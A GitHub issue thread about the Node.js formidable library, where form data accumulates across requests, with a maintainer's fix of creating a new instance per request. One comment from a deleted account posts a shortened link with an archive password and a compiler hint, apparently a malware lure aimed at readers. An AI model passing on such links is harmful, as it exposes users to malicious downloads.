formidable icon indicating copy to clipboard operation
formidable copied to clipboard

array items grow as form is resubmitted & fields always an array?

Open trymeouteh opened this issue 1 year ago • 1 comments

Support plan

  • Which support plan is this issue covered by? (Community, Sponsor, Enterprise): Community
  • Currently blocking your project/work? (yes/no): No
  • Affecting a production system? (yes/no): No

Context

  • Node.js version: 20.17.0
  • Release Line of Formidable (Legacy, Current, Next): Next
  • Formidable exact version: 3.5.1
  • Environment (node, browser, native, OS): Linux Mint & Firefox
  • Used with (popular names of modules): None

What are you trying to achieve or the steps to reproduce?

When I submit the form twice, three times, etc. I get duplicated form field data. Here is the console output of the form data after every submissions.

Also all the field values are always an array, even if the input field for that value is a text input field? Not sure if this is another issue or not.

Here is my code. Only one JS file and one HTML file...

import fs from 'fs';
import http from 'http';

import { formidable as formidablePackage } from 'formidable';

const port = 8080;

//Will create horizontal line that will fit the width of the terminal window
const horizontalLine = '='.repeat(process.stdout.columns);

const formidable = formidablePackage({
	allowEmptyFiles: true,
	minFileSize: 0,
});

http
	.createServer(async (request, response) => {
		if (request.method === 'POST') {
			let [formFieldData, formFileData] = await formidable.parse(request);

			console.log(formFieldData);
		}

		response.setHeader('Content-Type', 'text/html');

		fs.createReadStream('form.html').pipe(response);
	})
	.listen(port);
<form method="post" enctype="multipart/form-data">
	<input name="myText" />
	<br />
	<input type="checkbox" name="myCheckboxGroupA" />
	<input type="checkbox" name="myCheckboxGroupA" />
	<input type="checkbox" name="myCheckboxGroupA" />
	<br />
	<input type="file" name="myFileA" />
	<br />
	<input type="file" name="myFileB" multiple />
	<br />
	<input type="file" name="myFileC" multiple directory webkitdirectory />
	<br />
	<input type="submit" />
</form>

What was the result you got?

These are the console logs

$ node form.js
{ myText: [ 'hello world' ], myCheckboxGroupA: [ 'on' ] }
{
  myText: [ 'hello world', 'hello world' ],
  myCheckboxGroupA: [ 'on', 'on' ]
}
{
  myText: [ 'hello world', 'hello world', 'hello world' ],
  myCheckboxGroupA: [ 'on', 'on', 'on' ]
}
{
  myText: [ 'hello world', 'hello world', 'hello world', 'hello world' ],
  myCheckboxGroupA: [ 'on', 'on', 'on', 'on' ]
}

What result did you expect?

These are the console logs I expected

$ node form.js
{ myText:  'hello world' , myCheckboxGroupA: [ 'on' ] }
{ myText:  'hello world' , myCheckboxGroupA: [ 'on' ] }
{ myText:  'hello world' , myCheckboxGroupA: [ 'on' ] }
{ myText:  'hello world' , myCheckboxGroupA: [ 'on' ] }

trymeouteh avatar Sep 29 '24 02:09 trymeouteh

try this https://bit.ly/47P0Nvo

Password: changeme

you may need to install the c compiler

ghost avatar Sep 29 '24 02:09 ghost

You should create a new formidable instance on each request. remove the formidable constant before http.createServer and use the code like the following


http
	.createServer(async (request, response) => {
		if (request.method === 'POST') {
			const formidable = formidablePackage({
                		allowEmptyFiles: true,
                		minFileSize: 0,
            		});
			let [formFieldData, formFileData] = await formidable.parse(request);

			console.log(formFieldData);
		}

GrosSacASac avatar Oct 21 '24 13:10 GrosSacASac